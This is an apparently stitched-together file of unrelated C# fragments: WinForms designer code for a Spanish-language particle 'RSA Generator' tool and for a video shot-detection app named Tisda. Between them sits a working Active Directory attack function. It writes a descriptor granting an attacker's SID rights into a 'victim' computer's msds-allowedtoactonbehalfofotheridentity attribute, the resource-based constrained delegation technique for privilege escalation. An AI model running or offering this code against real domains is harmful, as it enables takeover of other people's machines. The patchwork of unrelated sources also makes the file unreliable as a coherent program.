this.label2.Size = new System.Drawing.Size(136, 16); this.label2.TabIndex = 1; this.label2.Text = "Cantidad de Particulas"; // // label1 // this.label1.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.label1.Location = new System.Drawing.Point(16, 17); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(128, 15); this.label1.TabIndex = 0; this.label1.Text = "Fraccion Volumetrica"; // // progressBar1 // this.progressBar1.Location = new System.Drawing.Point(8, 336); this.progressBar1.Name = "progressBar1"; this.progressBar1.Size = new System.Drawing.Size(352, 16); this.progressBar1.TabIndex = 7; // // tabPage2 // this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(196)), ((System.Byte)(218)), ((System.Byte)(250))); this.tabPage2.Controls.Add(this.numericEditBox2); this.tabPage2.Controls.Add(this.numericEditBox1); this.tabPage2.Controls.Add(this.groupBox8); this.tabPage2.Controls.Add(this.button5); this.tabPage2.Controls.Add(this.groupBox7); this.tabPage2.Controls.Add(this.groupBox6); this.tabPage2.Controls.Add(this.groupBox5); this.tabPage2.Controls.Add(this.label5); this.tabPage2.Controls.Add(this.label4); this.tabPage2.ImageIndex = 0; this.tabPage2.Location = new System.Drawing.Point(4, 25); this.tabPage2.Name = "tabPage2"; this.tabPage2.Size = new System.Drawing.Size(360, 355); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Parametros"; // // numericEditBox2 // this.numericEditBox2.Location = new System.Drawing.Point(168, 40); this.numericEditBox2.Name = "numericEditBox2"; this.numericEditBox2.Size = new System.Drawing.Size(136, 20); this.numericEditBox2.TabIndex = 20; this.numericEditBox2.Text = ""; // // numericEditBox1 // this.numericEditBox1.Location = new System.Drawing.Point(168, 8); this.numericEditBox1.Name = "numericEditBox1"; this.numericEditBox1.Size = new System.Drawing.Size(136, 20); this.numericEditBox1.TabIndex = 19; this.numericEditBox1.Text = ""; // // groupBox8 // this.groupBox8.Controls.Add(this.radioButton6); this.groupBox8.Controls.Add(this.radioButton5); this.groupBox8.Location = new System.Drawing.Point(8, 261); this.groupBox8.Name = "groupBox8"; this.groupBox8.Size = new System.Drawing.Size(344, 51); this.groupBox8.TabIndex = 18; this.groupBox8.TabStop = false; this.groupBox8.Text = "Variante del Algoritmo a Usar para Generar"; // // radioButton6 // this.radioButton6.Checked = true; this.radioButton6.Location = new System.Drawing.Point(200, 24); this.radioButton6.Name = "radioButton6"; this.radioButton6.TabIndex = 1; this.radioButton6.TabStop = true; this.radioButton6.Text = "RSA Avanzado"; // // radioButton5 // this.radioButton5.Location = new System.Drawing.Point(16, 24); this.radioButton5.Name = "radioButton5"; this.radioButton5.TabIndex = 0; this.radioButton5.Text = "RSA Clasico"; // // button5 // this.button5.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button5.ForeColor = System.Drawing.Color.White; this.button5.Location = new System.Drawing.Point(48, 320); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(256, 24); this.button5.TabIndex = 17; this.button5.Text = "Aplicar Cambios"; this.button5.Click += new System.EventHandler(this.button5_Click); // // groupBox7 // this.groupBox7.Controls.Add(this.button6); this.groupBox7.Enabled = false; this.groupBox7.Location = new System.Drawing.Point(184, 165); this.groupBox7.Name = "groupBox7"; this.groupBox7.Size = new System.Drawing.Size(168, 72); this.groupBox7.TabIndex = 16; this.groupBox7.TabStop = false; this.groupBox7.Text = "Otros Parametros fijo"; // // button6 // this.button6.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button6.ForeColor = System.Drawing.Color.White; this.button6.Location = new System.Drawing.Point(8, 24); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(152, 40); this.button6.TabIndex = 1; this.button6.Text = "Cambiar valor a los parametros "; this.button6.Click += new System.EventHandler(this.button6_Click); // // groupBox6 // this.groupBox6.Controls.Add(this.numericEditBox3); this.groupBox6.Controls.Add(this.label6); this.groupBox6.Location = new System.Drawing.Point(8, 165); this.groupBox6.Name = "groupBox6"; this.groupBox6.Size = new System.Drawing.Size(168, 72); this.groupBox6.TabIndex = 15; this.groupBox6.TabStop = false; this.groupBox6.Text = "Numero de Particulas Fijo"; // // numericEditBox3 // this.numericEditBox3.Location = new System.Drawing.Point(8, 48); this.numericEditBox3.Name = "numericEditBox3"; this.numericEditBox3.Size = new System.Drawing.Size(112, 20); this.numericEditBox3.TabIndex = 1; this.numericEditBox3.Text = ""; // // label6 // this.label6.Location = new System.Drawing.Point(8, 24); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(120, 16); this.label6.TabIndex = 0; this.label6.Text = "Numero de particulas"; // // groupBox5 // this.groupBox5.Controls.Add(this.radioButton4); this.groupBox5.Controls.Add(this.radioButton3); this.groupBox5.Location = new System.Drawing.Point(8, 77); this.groupBox5.Name = "groupBox5"; this.groupBox5.Size = new System.Drawing.Size(344, 80); this.groupBox5.TabIndex = 14; this.groupBox5.TabStop = false; this.groupBox5.Text = "Parametros Variables"; // // radioButton4 // this.radioButton4.Location = new System.Drawing.Point(8, 48); this.radioButton4.Name = "radioButton4"; this.radioButton4.Size = new System.Drawing.Size(320, 24); this.radioButton4.TabIndex = 8; this.radioButton4.Text = "Tener fijo parametros y variar el numero de particulas"; // // radioButton3 // this.radioButton3.Checked = true; this.radioButton3.Location = new System.Drawing.Point(8, 24); this.radioButton3.Name = "radioButton3"; this.radioButton3.Size = new System.Drawing.Size(320, 24); this.radioButton3.TabIndex = 7; this.radioButton3.TabStop = true; this.radioButton3.Text = "Tener Fijo el numero de particulas y variar parametros"; this.radioButton3.CheckedChanged += new System.EventHandler(this.radioButton3_CheckedChanged); // // label5 // this.label5.Location = new System.Drawing.Point(8, 37); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(144, 23); this.label5.TabIndex = 12; this.label5.Text = "Fraccion Volumetrica"; // // label4 // this.label4.Location = new System.Drawing.Point(8, 13); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(152, 23); this.label4.TabIndex = 11; this.label4.Text = "Longitud del Lado del Cubo"; // // tabPage3 // this.tabPage3.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(196)), ((System.Byte)(218)), ((System.Byte)(250))); this.tabPage3.Controls.Add(this.groupBox4); this.tabPage3.Controls.Add(this.groupBox3); this.tabPage3.ImageIndex = 1; this.tabPage3.Location = new System.Drawing.Point(4, 23); this.tabPage3.Name = "tabPage3"; this.tabPage3.Size = new System.Drawing.Size(360, 357); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Graficos"; // // groupBox4 // this.groupBox4.Controls.Add(this.button4); this.groupBox4.Location = new System.Drawing.Point(28, 277); this.groupBox4.Name = "groupBox4"; this.groupBox4.Size = new System.Drawing.Size(304, 64); this.groupBox4.TabIndex = 3; this.groupBox4.TabStop = false; this.groupBox4.Text = "Opciones Visuales del Cubo"; // // button4 // this.button4.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button4.ForeColor = System.Drawing.Color.White; this.button4.Location = new System.Drawing.Point(16, 24); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(264, 24); this.button4.TabIndex = 0; this.button4.Text = "Abrir Dialogo de Personalizar Color de Cubo"; this.button4.Click += new System.EventHandler(this.button4_Click); // // groupBox3 // this.groupBox3.Controls.Add(this.checkBox2); this.groupBox3.Controls.Add(this.button3); this.groupBox3.Controls.Add(this.radioButton2); this.groupBox3.Controls.Add(this.radioButton1); this.groupBox3.Location = new System.Drawing.Point(28, 29); this.groupBox3.Name = "groupBox3"; this.groupBox3.Size = new System.Drawing.Size(304, 224); this.groupBox3.TabIndex = 2; this.groupBox3.TabStop = false; this.groupBox3.Text = "Opciones Visuales de Particulas"; // // checkBox2 // this.checkBox2.Checked = true; this.checkBox2.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox2.Location = new System.Drawing.Point(8, 144); this.checkBox2.Name = "checkBox2"; this.checkBox2.Size = new System.Drawing.Size(272, 16); this.checkBox2.TabIndex = 3; this.checkBox2.Text = "Numerar las Particulas"; this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged); // // button3 // this.button3.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button3.ForeColor = System.Drawing.Color.White; this.button3.Location = new System.Drawing.Point(16, 192); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(264, 24); this.button3.TabIndex = 2; this.button3.Text = "Abrir Dialogo de Pesonalizar Color de Particula"; this.button3.Click += new System.EventHandler(this.button3_Click); // // radioButton2 // this.radioButton2.Checked = true; this.radioButton2.Location = new System.Drawing.Point(8, 72); this.radioButton2.Name = "radioButton2"; this.radioButton2.Size = new System.Drawing.Size(272, 24); this.radioButton2.TabIndex = 1; this.radioButton2.TabStop = true; this.radioButton2.Text = "Personalizar Color de Particula"; this.radioButton2.CheckedChanged += new System.EventHandler(this.radioButton2_CheckedChanged); // // radioButton1 // this.radioButton1.Location = new System.Drawing.Point(8, 32); this.radioButton1.Name = "radioButton1"; this.radioButton1.Size = new System.Drawing.Size(272, 24); this.radioButton1.TabIndex = 0; this.radioButton1.Text = "Poner un Color Aleatorio a cada particula"; this.radioButton1.CheckedChanged += new System.EventHandler(this.radioButton1_CheckedChanged); // // tabPage4 // this.tabPage4.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(196)), ((System.Byte)(218)), ((System.Byte)(250))); this.tabPage4.Controls.Add(this.button8); this.tabPage4.Controls.Add(this.groupBox9); this.tabPage4.Controls.Add(this.button7); this.tabPage4.Controls.Add(this.textBox1); this.tabPage4.Controls.Add(this.label7); this.tabPage4.ImageIndex = 5; this.tabPage4.Location = new System.Drawing.Point(4, 23); this.tabPage4.Name = "tabPage4"; this.tabPage4.Size = new System.Drawing.Size(360, 357); this.tabPage4.TabIndex = 3; this.tabPage4.Text = "ANSYS"; // // button8 // this.button8.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button8.ForeColor = System.Drawing.Color.White; this.button8.Location = new System.Drawing.Point(104, 312); this.button8.Name = "button8"; this.button8.Size = new System.Drawing.Size(128, 32); this.button8.TabIndex = 4; this.button8.Text = "Aceptar"; this.button8.Click += new System.EventHandler(this.button8_Click); // // groupBox9 // this.groupBox9.Controls.Add(this.checkBox3); this.groupBox9.Controls.Add(this.label9); this.groupBox9.Controls.Add(this.textBox2); this.groupBox9.Controls.Add(this.radioButton8); this.groupBox9.Controls.Add(this.radioButton7); this.groupBox9.Location = new System.Drawing.Point(16, 112); this.groupBox9.Name = "groupBox9"; this.groupBox9.Size = new System.Drawing.Size(304, 192); this.groupBox9.TabIndex = 3; this.groupBox9.TabStop = false; this.groupBox9.Text = "Opciones del Archivo a Guardar"; // // checkBox3 // this.checkBox3.Checked = true; this.checkBox3.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox3.Location = new System.Drawing.Point(16, 88); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(264, 32); this.checkBox3.TabIndex = 4; this.checkBox3.Text = "Agregar al nombre datos de los Parametros de la Generacion"; this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged); // // label9 // this.label9.Location = new System.Drawing.Point(16, 136); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(136, 16); this.label9.TabIndex = 3; this.label9.Text = "Nombre del archivo"; // // textBox2 // this.textBox2.Location = new System.Drawing.Point(16, 160); this.textBox2.Name = "textBox2"; this.textBox2.Size = new System.Drawing.Size(272, 20); this.textBox2.TabIndex = 2; this.textBox2.Text = "batch.txt"; // // radioButton8 // this.radioButton8.Location = new System.Drawing.Point(16, 48); this.radioButton8.Name = "radioButton8"; this.radioButton8.Size = new System.Drawing.Size(256, 16); this.radioButton8.TabIndex = 1; this.radioButton8.Text = "Generar nuevos Archivos en cada corrida"; // // radioButton7 // this.radioButton7.Checked = true; this.radioButton7.Location = new System.Drawing.Point(16, 24); this.radioButton7.Name = "radioButton7"; this.radioButton7.Size = new System.Drawing.Size(256, 16); this.radioButton7.TabIndex = 0; this.radioButton7.TabStop = true; this.radioButton7.Text = "Sobre-escribir el Archivo Generado"; // // button7 // this.button7.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(80)), ((System.Byte)(80)), ((System.Byte)(80))); this.button7.ForeColor = System.Drawing.Color.White; this.button7.Location = new System.Drawing.Point(320, 56); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(32, 24); this.button7.TabIndex = 2; this.button7.Text = ". . ."; this.button7.Click += new System.EventHandler(this.button7_Click); // // textBox1 // this.textBox1.Location = new System.Drawing.Point(16, 56); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(304, 20); this.textBox1.TabIndex = 1; this.textBox1.Text = ""; // // label7 // this.label7.Location = new System.Drawing.Point(16, 16); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(280, 24); this.label7.TabIndex = 0; this.label7.Text = "Ruta de los archivos Batch de Ansys Generados"; // // simpleOpenGlControl1 // this.simpleOpenGlControl1.AccumBits = ((System.Byte)(0)); this.simpleOpenGlControl1.AutoCheckErrors = false; this.simpleOpenGlControl1.AutoFinish = false; this.simpleOpenGlControl1.AutoMakeCurrent = true; this.simpleOpenGlControl1.AutoSwapBuffers = true; this.simpleOpenGlControl1.BackColor = System.Drawing.Color.Black; this.simpleOpenGlControl1.ColorBits = ((System.Byte)(32)); this.simpleOpenGlControl1.DepthBits = ((System.Byte)(16)); this.simpleOpenGlControl1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F); this.simpleOpenGlControl1.Location = new System.Drawing.Point(384, 112); this.simpleOpenGlControl1.Name = "simpleOpenGlControl1"; this.simpleOpenGlControl1.Size = new System.Drawing.Size(396, 340); this.simpleOpenGlControl1.StencilBits = ((System.Byte)(0)); this.simpleOpenGlControl1.TabIndex = 5; this.simpleOpenGlControl1.Resize += new System.EventHandler(this.simpleOpenGlControl1_Resize); this.simpleOpenGlControl1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.simpleOpenGlControl1_MouseUp); this.simpleOpenGlControl1.Paint += new System.Windows.Forms.PaintEventHandler(this.simpleOpenGlControl1_Paint); this.simpleOpenGlControl1.MouseEnter += new System.EventHandler(this.simpleOpenGlControl1_MouseEnter); this.simpleOpenGlControl1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.simpleOpenGlControl1_MouseMove); this.simpleOpenGlControl1.MouseLeave += new System.EventHandler(this.simpleOpenGlControl1_MouseLeave); this.simpleOpenGlControl1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.simpleOpenGlControl1_MouseDown); // // uiStatusBar1 // this.uiStatusBar1.Location = new System.Drawing.Point(0, 514); this.uiStatusBar1.Name = "uiStatusBar1"; this.uiStatusBar1.Panels.AddRange(new System.Windows.Forms.StatusBarPanel[] { this.statusBarPanel1, this.statusBarPanel2}); this.uiStatusBar1.ShowPanels = true; this.uiStatusBar1.Size = new System.Drawing.Size(792, 22); this.uiStatusBar1.TabIndex = 6; // // statusBarPanel1 // this.statusBarPanel1.AutoSize = System.Windows.Forms.StatusBarPanelAutoSize.Spring; this.statusBarPanel1.Text = "Listo"; this.statusBarPanel1.Width = 388; // // statusBarPanel2 // this.statusBarPanel2.AutoSize = System.Windows.Forms.StatusBarPanelAutoSize.Spring; this.statusBarPanel2.Width = 388; // // checkBox1 // this.checkBox1.CheckAlign = System.Drawing.ContentAlignment.MiddleRight; this.checkBox1.Location = new System.Drawing.Point(552, 456); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(224, 24); this.checkBox1.TabIndex = 8; this.checkBox1.Text = "Ver Tipo \"Spheres in Box\""; this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); // // WinForms // this.AutoScaleBaseSize = new System.Drawing.Size(6, 13); this.BackColor = System.Drawing.Color.FromArgb(((System.Byte)(198)), ((System.Byte)(216)), ((System.Byte)(250))); this.ClientSize = new System.Drawing.Size(792, 536); this.Controls.Add(this.checkBox1); this.Controls.Add(this.uiStatusBar1); this.Controls.Add(this.simpleOpenGlControl1); this.Controls.Add(this.uiTab1); this.Controls.Add(this.pictureBox2); this.Controls.Add(this.pictureBox1); this.Font = new System.Drawing.Font("Trebuchet MS", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0))); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.Menu = this.mainMenu1; this.Name = "WinForms"; this.Text = "RSA Generator"; this.Closing += new System.ComponentModel.CancelEventHandler(this.WinForms_Closing); this.uiTab1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.groupBox2.ResumeLayout(false); this.groupBox1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); this.groupBox8.ResumeLayout(false); this.groupBox7.ResumeLayout(false); this.groupBox6.ResumeLayout(false); this.groupBox5.ResumeLayout(false); this.tabPage3.ResumeLayout(false); this.groupBox4.ResumeLayout(false); this.groupBox3.ResumeLayout(false); this.tabPage4.ResumeLayout(false); this.groupBox9.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel2)).EndInit(); this.ResumeLayout(false); }
public static void SetSecurityDescriptor(String Domain, String victim_distinguished_name, String victimcomputer, String sid, bool cleanup) { // get the domain object of the victim computer and update its securty descriptor System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(cn=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine(ex.Message + "Exiting..."); return; } if (result != null) { System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry(); String sec_descriptor = ""; if (!cleanup) { sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")"; System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] descriptor_buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(descriptor_buffer, 0); // Add AllowedToAct Security Descriptor entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer; } else { // Cleanup attribute Console.WriteLine("[+] Clearing attribute..."); entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Clear(); } try { // Commit changes to the security descriptor entryToUpdate.CommitChanges(); Console.WriteLine("[+] Attribute changed successfully"); Console.WriteLine("[+] Done!"); } catch (System.Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine("[!] Could not update attribute!\nExiting..."); return; } } else { Console.WriteLine("[!] Computer Account not found!\nExiting..."); } return; }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); this.panelCanvas = new System.Windows.Forms.Panel(); this.groupBoxVideoControls = new System.Windows.Forms.GroupBox(); this.btnStop = new System.Windows.Forms.Button(); this.btnPause = new System.Windows.Forms.Button(); this.btnPlay = new System.Windows.Forms.Button(); this.toolTipTisda = new System.Windows.Forms.ToolTip(this.components); this.btnExportFrames = new System.Windows.Forms.Button(); this.btnExportShotInfo = new System.Windows.Forms.Button(); this.btnSearch = new System.Windows.Forms.Button(); this.btnEditShotInfo = new System.Windows.Forms.Button(); this.btnPlayShot = new System.Windows.Forms.Button(); this.openFileDialog = new System.Windows.Forms.OpenFileDialog(); this.menuStrip = new System.Windows.Forms.MenuStrip(); this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.exitApplicationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.xMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.calculateRecallAndPrecisionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.groupBoxShots = new System.Windows.Forms.GroupBox(); this.listBoxShots = new System.Windows.Forms.ListBox(); this.textBoxKeyword = new System.Windows.Forms.TextBox(); this.groupBoxCanvas = new System.Windows.Forms.GroupBox(); this.groupBoxShotDetection = new System.Windows.Forms.GroupBox(); this.panelParameters = new System.Windows.Forms.Panel(); this.lblShotDetectionMethod = new System.Windows.Forms.Label(); this.btnDetectShots = new System.Windows.Forms.Button(); this.comboBoxDetectionMethod = new System.Windows.Forms.ComboBox(); this.directorySearcher = new System.DirectoryServices.DirectorySearcher(); this.folderBrowserDialog = new System.Windows.Forms.FolderBrowserDialog(); this.saveFileDialog = new System.Windows.Forms.SaveFileDialog(); this.groupBoxExport = new System.Windows.Forms.GroupBox(); this.groupBoxVideoControls.SuspendLayout(); this.menuStrip.SuspendLayout(); this.statusStrip.SuspendLayout(); this.groupBoxShots.SuspendLayout(); this.groupBoxCanvas.SuspendLayout(); this.groupBoxShotDetection.SuspendLayout(); this.groupBoxExport.SuspendLayout(); this.SuspendLayout(); // // panelCanvas // this.panelCanvas.BackColor = System.Drawing.SystemColors.Desktop; this.panelCanvas.Location = new System.Drawing.Point(115, 24); this.panelCanvas.Name = "panelCanvas"; this.panelCanvas.Size = new System.Drawing.Size(315, 184); this.panelCanvas.TabIndex = 10; // // groupBoxVideoControls // this.groupBoxVideoControls.Controls.Add(this.btnStop); this.groupBoxVideoControls.Controls.Add(this.btnPause); this.groupBoxVideoControls.Controls.Add(this.btnPlay); this.groupBoxVideoControls.Location = new System.Drawing.Point(12, 254); this.groupBoxVideoControls.Name = "groupBoxVideoControls"; this.groupBoxVideoControls.Size = new System.Drawing.Size(273, 62); this.groupBoxVideoControls.TabIndex = 14; this.groupBoxVideoControls.TabStop = false; this.groupBoxVideoControls.Text = "Video controls"; // // btnStop // this.btnStop.Enabled = false; this.btnStop.Image = global::Tisda.Properties.Resources.Stop; this.btnStop.Location = new System.Drawing.Point(95, 15); this.btnStop.Name = "btnStop"; this.btnStop.Size = new System.Drawing.Size(40, 40); this.btnStop.TabIndex = 12; this.btnStop.UseVisualStyleBackColor = true; this.btnStop.Click += new System.EventHandler(this.btnStop_Click); // // btnPause // this.btnPause.Enabled = false; this.btnPause.Image = global::Tisda.Properties.Resources.Pause; this.btnPause.Location = new System.Drawing.Point(50, 15); this.btnPause.Name = "btnPause"; this.btnPause.Size = new System.Drawing.Size(40, 40); this.btnPause.TabIndex = 11; this.toolTipTisda.SetToolTip(this.btnPause, "Pause video"); this.btnPause.Click += new System.EventHandler(this.btnPause_Click); // // btnPlay // this.btnPlay.Enabled = false; this.btnPlay.Image = global::Tisda.Properties.Resources.Play; this.btnPlay.Location = new System.Drawing.Point(5, 15); this.btnPlay.Name = "btnPlay"; this.btnPlay.Size = new System.Drawing.Size(40, 40); this.btnPlay.TabIndex = 1; this.toolTipTisda.SetToolTip(this.btnPlay, "Play video"); this.btnPlay.Click += new System.EventHandler(this.btnStart_Click); // // btnExportFrames // this.btnExportFrames.Enabled = false; this.btnExportFrames.Image = global::Tisda.Properties.Resources.ExportFrames; this.btnExportFrames.Location = new System.Drawing.Point(50, 15); this.btnExportFrames.Name = "btnExportFrames"; this.btnExportFrames.Size = new System.Drawing.Size(40, 40); this.btnExportFrames.TabIndex = 25; this.toolTipTisda.SetToolTip(this.btnExportFrames, "Export frames"); this.btnExportFrames.UseVisualStyleBackColor = true; this.btnExportFrames.Click += new System.EventHandler(this.btnExportFrames_Click); // // btnExportShotInfo // this.btnExportShotInfo.Enabled = false; this.btnExportShotInfo.Image = global::Tisda.Properties.Resources.ExportShotInfo; this.btnExportShotInfo.Location = new System.Drawing.Point(5, 15); this.btnExportShotInfo.Name = "btnExportShotInfo"; this.btnExportShotInfo.Size = new System.Drawing.Size(40, 40); this.btnExportShotInfo.TabIndex = 24; this.toolTipTisda.SetToolTip(this.btnExportShotInfo, "Export shot info"); this.btnExportShotInfo.UseVisualStyleBackColor = true; this.btnExportShotInfo.Click += new System.EventHandler(this.btnExportShotInfo_Click); // // btnSearch // this.btnSearch.Enabled = false; this.btnSearch.Image = global::Tisda.Properties.Resources.Search; this.btnSearch.Location = new System.Drawing.Point(219, 19); this.btnSearch.Name = "btnSearch"; this.btnSearch.Size = new System.Drawing.Size(40, 25); this.btnSearch.TabIndex = 28; this.toolTipTisda.SetToolTip(this.btnSearch, "Retrieve shots with keyword"); this.btnSearch.UseVisualStyleBackColor = true; this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); // // btnEditShotInfo // this.btnEditShotInfo.Enabled = false; this.btnEditShotInfo.Image = global::Tisda.Properties.Resources.Edit; this.btnEditShotInfo.Location = new System.Drawing.Point(219, 99); this.btnEditShotInfo.Name = "btnEditShotInfo"; this.btnEditShotInfo.Size = new System.Drawing.Size(40, 40); this.btnEditShotInfo.TabIndex = 26; this.toolTipTisda.SetToolTip(this.btnEditShotInfo, "Edit shot info"); this.btnEditShotInfo.UseVisualStyleBackColor = true; this.btnEditShotInfo.Click += new System.EventHandler(this.btnEditShotInfo_Click); // // btnPlayShot // this.btnPlayShot.Enabled = false; this.btnPlayShot.Image = global::Tisda.Properties.Resources.Play; this.btnPlayShot.Location = new System.Drawing.Point(219, 53); this.btnPlayShot.Name = "btnPlayShot"; this.btnPlayShot.Size = new System.Drawing.Size(40, 40); this.btnPlayShot.TabIndex = 23; this.toolTipTisda.SetToolTip(this.btnPlayShot, "Play shot"); this.btnPlayShot.UseVisualStyleBackColor = true; this.btnPlayShot.Click += new System.EventHandler(this.btnPlayShot_Click); // // openFileDialog // this.openFileDialog.FileName = "openFileDialog"; // // menuStrip // this.menuStrip.BackColor = System.Drawing.SystemColors.Control; this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.fileToolStripMenuItem, this.xMLToolStripMenuItem }); this.menuStrip.Location = new System.Drawing.Point(0, 0); this.menuStrip.Name = "menuStrip"; this.menuStrip.Size = new System.Drawing.Size(569, 24); this.menuStrip.TabIndex = 16; this.menuStrip.Text = "menuStrip"; // // fileToolStripMenuItem // this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.openToolStripMenuItem, this.exitApplicationToolStripMenuItem }); this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20); this.fileToolStripMenuItem.Text = "File"; // // openToolStripMenuItem // this.openToolStripMenuItem.Name = "openToolStripMenuItem"; this.openToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.openToolStripMenuItem.Text = "Open.."; this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click); // // exitApplicationToolStripMenuItem // this.exitApplicationToolStripMenuItem.Name = "exitApplicationToolStripMenuItem"; this.exitApplicationToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.exitApplicationToolStripMenuItem.Text = "Quit"; this.exitApplicationToolStripMenuItem.ToolTipText = "Thank you! Come again..."; this.exitApplicationToolStripMenuItem.Click += new System.EventHandler(this.exitApplicationToolStripMenuItem_Click); // // xMLToolStripMenuItem // this.xMLToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.calculateRecallAndPrecisionToolStripMenuItem }); this.xMLToolStripMenuItem.Name = "xMLToolStripMenuItem"; this.xMLToolStripMenuItem.Size = new System.Drawing.Size(87, 20); this.xMLToolStripMenuItem.Text = "Performance"; // // calculateRecallAndPrecisionToolStripMenuItem // this.calculateRecallAndPrecisionToolStripMenuItem.Name = "calculateRecallAndPrecisionToolStripMenuItem"; this.calculateRecallAndPrecisionToolStripMenuItem.Size = new System.Drawing.Size(215, 22); this.calculateRecallAndPrecisionToolStripMenuItem.Text = "Recall and precision values"; this.calculateRecallAndPrecisionToolStripMenuItem.Click += new System.EventHandler(this.calculateRecallAndPrecisionToolStripMenuItem_Click); // // toolStripStatusLabel // this.toolStripStatusLabel.Name = "toolStripStatusLabel"; this.toolStripStatusLabel.Size = new System.Drawing.Size(113, 17); this.toolStripStatusLabel.Text = "No video loaded yet"; // // statusStrip // this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel }); this.statusStrip.Location = new System.Drawing.Point(0, 539); this.statusStrip.Name = "statusStrip"; this.statusStrip.Size = new System.Drawing.Size(569, 22); this.statusStrip.TabIndex = 19; this.statusStrip.Text = "statusStrip1"; // // groupBoxShots // this.groupBoxShots.Controls.Add(this.listBoxShots); this.groupBoxShots.Controls.Add(this.btnSearch); this.groupBoxShots.Controls.Add(this.textBoxKeyword); this.groupBoxShots.Controls.Add(this.btnEditShotInfo); this.groupBoxShots.Controls.Add(this.btnPlayShot); this.groupBoxShots.Location = new System.Drawing.Point(291, 322); this.groupBoxShots.Name = "groupBoxShots"; this.groupBoxShots.Size = new System.Drawing.Size(272, 211); this.groupBoxShots.TabIndex = 21; 